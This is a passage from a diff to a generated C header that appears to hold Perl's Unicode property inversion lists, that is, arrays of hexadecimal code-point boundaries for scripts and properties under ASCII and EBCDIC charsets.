0x2127, + 0x2128, + 0x2129, 0x212A, - 0x212C, - 0x2132, - 0x2133, + 0x212E, + 0x212F, + 0x2130, + 0x2134, + 0x2135, + 0x2139, + 0x213A, + 0x213C, + 0x213E, + 0x2140, + 0x2145, + 0x2146, + 0x214A, 0x214E, 0x214F, 0x2160, + 0x2170, + 0x2180, + 0x2183, + 0x2184, + 0x2185, 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x2308, + 0x230C, + 0x2329, + 0x232B, + 0x24B6, + 0x24D0, + 0x24EA, + 0x275B, + 0x2761, + 0x2768, + 0x2776, + 0x27C5, + 0x27C7, + 0x27E6, + 0x27F0, + 0x2983, + 0x2999, + 0x29D8, + 0x29DC, + 0x29FC, + 0x29FE, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, + 0x2CE5, + 0x2CEB, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CEF, + 0x2CF2, + 0x2CF3, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, + 0x2D7F, + 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, 0x2E00, - 0x2E4A, - 0x2FF0, - 0x2FFC, + 0x2E0E, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E2A, + 0x2E2E, + 0x2E2F, + 0x2E30, + 0x2E3C, + 0x2E3D, + 0x2E42, + 0x2E43, 0x3000, + 0x3001, + 0x3002, + 0x3003, 0x3005, - 0x3006, - 0x3007, 0x3008, + 0x3012, + 0x3014, + 0x301C, + 0x301D, + 0x3020, 0x3021, + 0x302A, 0x3030, + 0x3031, + 0x3036, 0x3038, - 0x303C, - 0x3040, + 0x303D, + 0x3041, + 0x3097, + 0x3099, 0x309B, 0x309D, 0x30A0, 0x30A1, 0x30FB, - 0x30FD, - 0x3190, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, 0x31A0, - 0x31C0, - 0x31E4, - 0x3220, - 0x3260, - 0x327F, - 0x32D0, - 0x3358, + 0x31BB, + 0x31F0, + 0x3200, 0x3400, - 0x4DC0, + 0x4DB6, 0x4E00, - 0xA700, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA4FF, + 0xA500, + 0xA60D, + 0xA60E, + 0xA610, + 0xA620, + 0xA62A, + 0xA62C, + 0xA640, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA66F, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA680, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA69E, + 0xA6A0, + 0xA6F0, + 0xA6F2, + 0xA6F3, + 0xA6F4, + 0xA6F7, + 0xA6F8, + 0xA717, + 0xA720, 0xA722, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, 0xA788, + 0xA789, 0xA78B, - 0xA830, - 0xA83A, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7AF, + 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xA7B8, + 0xA7F7, + 0xA7F8, + 0xA7FB, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, + 0xA828, + 0xA840, + 0xA874, + 0xA876, + 0xA878, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C6, + 0xA8CE, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA90A, + 0xA926, 0xA92E, 0xA92F, + 0xA930, + 0xA947, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA984, + 0xA9B3, + 0xA9C1, + 0xA9C8, + 0xA9CA, 0xA9CF, 0xA9D0, + 0xA9DA, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xA9FF, + 0xAA00, + 0xAA29, + 0xAA37, + 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5D, + 0xAA60, + 0xAA77, + 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAEB, + 0xAAF0, + 0xAAF2, + 0xAAF5, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, 0xAB5B, 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, + 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB1E, + 0xFB1F, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, 0xFD3E, 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE00, 0xFE10, - 0xFE1A, + 0xFE12, + 0xFE13, + 0xFE14, + 0xFE17, + 0xFE19, + 0xFE20, 0xFE30, + 0xFE31, + 0xFE33, + 0xFE35, + 0xFE45, + 0xFE47, + 0xFE49, + 0xFE50, + 0xFE52, 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, + 0xFE55, + 0xFE56, + 0xFE58, + 0xFE59, + 0xFE5F, + 0xFE63, + 0xFE64, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, 0xFEFF, 0xFF00, 0xFF01, + 0xFF02, + 0xFF08, + 0xFF0A, + 0xFF0C, + 0xFF0E, + 0xFF0F, + 0xFF1A, + 0xFF1B, + 0xFF1F, + 0xFF20, 0xFF21, 0xFF3B, + 0xFF3C, + 0xFF3D, + 0xFF3E, 0xFF41, 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF61, + 0xFF62, + 0xFF64, + 0xFF65, 0xFF66, - 0xFF70, - 0xFF71, 0xFF9E, 0xFFA0, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, 0xFFF9, - 0xFFFE, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, + 0xFFFC, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, 0x10140, - 0x10190, - 0x1019C, - 0x101D0, + 0x10175, 0x101FD, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, 0x102E1, - 0x102FC, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x10376, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x10428, + 0x10450, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A56, + 0x10A58, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE5, + 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11003, + 0x11038, + 0x11047, + 0x11049, + 0x11066, + 0x11070, + 0x1107F, + 0x11083, + 0x110B0, + 0x110BB, + 0x110BD, + 0x110BE, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11103, + 0x11127, + 0x11135, + 0x11136, + 0x11140, + 0x11141, + 0x11144, + 0x11150, + 0x11173, + 0x11174, + 0x11176, + 0x11177, + 0x11180, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111C7, + 0x111CA, + 0x111CD, + 0x111CE, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111DE, + 0x111E0, + 0x11200, + 0x11212, + 0x11213, + 0x1122C, + 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112AA, + 0x112B0, + 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x1133D, + 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x11435, + 0x11447, + 0x1144B, + 0x1144D, + 0x11450, + 0x1145A, + 0x11480, + 0x114B0, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115C2, + 0x115C4, + 0x115C9, + 0x115D8, + 0x115DC, + 0x115DE, + 0x11600, + 0x11630, + 0x11641, + 0x11643, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x1173C, + 0x1173F, + 0x118A0, + 0x118C0, + 0x118E0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C40, + 0x11C41, + 0x11C43, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF5, + 0x16AF6, + 0x16B00, + 0x16B30, + 0x16B37, + 0x16B39, + 0x16B40, + 0x16B44, + 0x16B45, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9D, + 0x1BC9F, 0x1BCA0, 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, + 0x1D165, 0x1D16A, + 0x1D16D, + 0x1D173, 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, 0x1D1AA, 0x1D1AE, - 0x1D1E9, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, + 0x1D242, + 0x1D245, 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, 0x1D455, 0x1D456, + 0x1D468, + 0x1D482, + 0x1D49C, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -346470,12 +46832,16 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 037 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, + 0x1D4B6, 0x1D4BA, 0x1D4BB, 0x1D4BC, 0x1D4BD, 0x1D4C4, 0x1D4C5, + 0x1D4D0, + 0x1D4EA, + 0x1D504, 0x1D506, 0x1D507, 0x1D50B, @@ -346484,6 +46850,7 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 037 */ 0x1D516, 0x1D51D, 0x1D51E, + 0x1D538, 0x1D53A, 0x1D53B, 0x1D53F, @@ -346494,1898 +46861,3977 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 037 */ 0x1D54A, 0x1D551, 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SD_invlist[] = { /* for ASCII/Latin1 */ - 63, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x69, - 0x6B, - 0x12F, - 0x130, - 0x249, - 0x24A, - 0x268, - 0x269, - 0x29D, - 0x29E, - 0x2B2, - 0x2B3, - 0x3F3, - 0x3F4, - 0x456, - 0x457, - 0x458, - 0x459, - 0x1D62, - 0x1D63, - 0x1D96, - 0x1D97, - 0x1DA4, - 0x1DA5, - 0x1DA8, - 0x1DA9, - 0x1E2D, - 0x1E2E, - 0x1ECB, - 0x1ECC, - 0x2071, - 0x2072, - 0x2148, - 0x214A, - 0x2C7C, - 0x2C7D, - 0x1D422, - 0x1D424, - 0x1D456, - 0x1D458, - 0x1D48A, - 0x1D48C, - 0x1D4BE, - 0x1D4C0, - 0x1D4F2, - 0x1D4F4, - 0x1D526, - 0x1D528, - 0x1D55A, - 0x1D55C, - 0x1D58E, - 0x1D590, - 0x1D5C2, - 0x1D5C4, - 0x1D5F6, - 0x1D5F8, - 0x1D62A, - 0x1D62C, - 0x1D65E, - 0x1D660, - 0x1D692, - 0x1D694 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SD_invlist[] = { /* for EBCDIC 1047 */ - 65, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x89, - 0x8A, - 0x91, - 0x92, - 0x12F, - 0x130, - 0x249, - 0x24A, - 0x268, - 0x269, - 0x29D, - 0x29E, - 0x2B2, - 0x2B3, - 0x3F3, - 0x3F4, - 0x456, - 0x457, - 0x458, - 0x459, - 0x1D62, - 0x1D63, - 0x1D96, - 0x1D97, - 0x1DA4, - 0x1DA5, - 0x1DA8, - 0x1DA9, - 0x1E2D, - 0x1E2E, - 0x1ECB, - 0x1ECC, - 0x2071, - 0x2072, - 0x2148, - 0x214A, - 0x2C7C, - 0x2C7D, - 0x1D422, - 0x1D424, - 0x1D456, - 0x1D458, - 0x1D48A, - 0x1D48C, - 0x1D4BE, - 0x1D4C0, - 0x1D4F2, - 0x1D4F4, - 0x1D526, - 0x1D528, - 0x1D55A, - 0x1D55C, - 0x1D58E, - 0x1D590, - 0x1D5C2, - 0x1D5C4, - 0x1D5F6, - 0x1D5F8, - 0x1D62A, - 0x1D62C, - 0x1D65E, - 0x1D660, - 0x1D692, - 0x1D694 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SD_invlist[] = { /* for EBCDIC 037 */ - 65, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x89, - 0x8A, - 0x91, - 0x92, - 0x12F, - 0x130, - 0x249, - 0x24A, - 0x268, - 0x269, - 0x29D, - 0x29E, - 0x2B2, - 0x2B3, - 0x3F3, - 0x3F4, - 0x456, - 0x457, - 0x458, - 0x459, - 0x1D62, - 0x1D63, - 0x1D96, - 0x1D97, - 0x1DA4, - 0x1DA5, - 0x1DA8, - 0x1DA9, - 0x1E2D, - 0x1E2E, - 0x1ECB, - 0x1ECC, - 0x2071, - 0x2072, - 0x2148, - 0x214A, - 0x2C7C, - 0x2C7D, - 0x1D422, - 0x1D424, - 0x1D456, - 0x1D458, - 0x1D48A, - 0x1D48C, - 0x1D4BE, - 0x1D4C0, - 0x1D4F2, - 0x1D4F4, - 0x1D526, - 0x1D528, - 0x1D55A, - 0x1D55C, - 0x1D58E, - 0x1D590, - 0x1D5C2, - 0x1D5C4, - 0x1D5F6, - 0x1D5F8, - 0x1D62A, - 0x1D62C, - 0x1D65E, - 0x1D660, - 0x1D692, - 0x1D694 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SGNW_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0 -}; - -static const UV PL_SHAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10450, - 0x10480 -}; - -static const UV PL_SHORTHANDFORMATCONTROLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BCA0, - 0x1BCB0 -}; - -static const UV PL_SHRD_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x951, - 0x952, - 0x1CD7, - 0x1CD8, - 0x1CD9, - 0x1CDA, - 0x1CDC, - 0x1CDE, - 0x1CE0, - 0x1CE1, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0 -}; - -static const UV PL_SIDD_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE -}; - -static const UV PL_SIND_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x966, - 0xA830, - 0xA83A, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA -}; - -static const UV PL_SINH_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x964, - 0x966, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0x111E1, - 0x111F5 -}; - -static const UV PL_SINHALAARCHAICNUMBERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x111E0, - 0x11200 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SK_invlist[] = { /* for ASCII/Latin1 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5E, - 0x5F, - 0x60, - 0x61, - 0xA8, - 0xA9, - 0xAF, - 0xB0, - 0xB4, - 0xB5, - 0xB8, - 0xB9, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x384, - 0x386, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x309B, - 0x309D, - 0xA700, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFBB2, - 0xFBC2, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFFE3, - 0xFFE4, - 0x1F3FB, - 0x1F400 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SK_invlist[] = { /* for EBCDIC 1047 */ - 57, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5F, - 0x60, - 0x79, - 0x7A, - 0x9D, - 0x9E, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 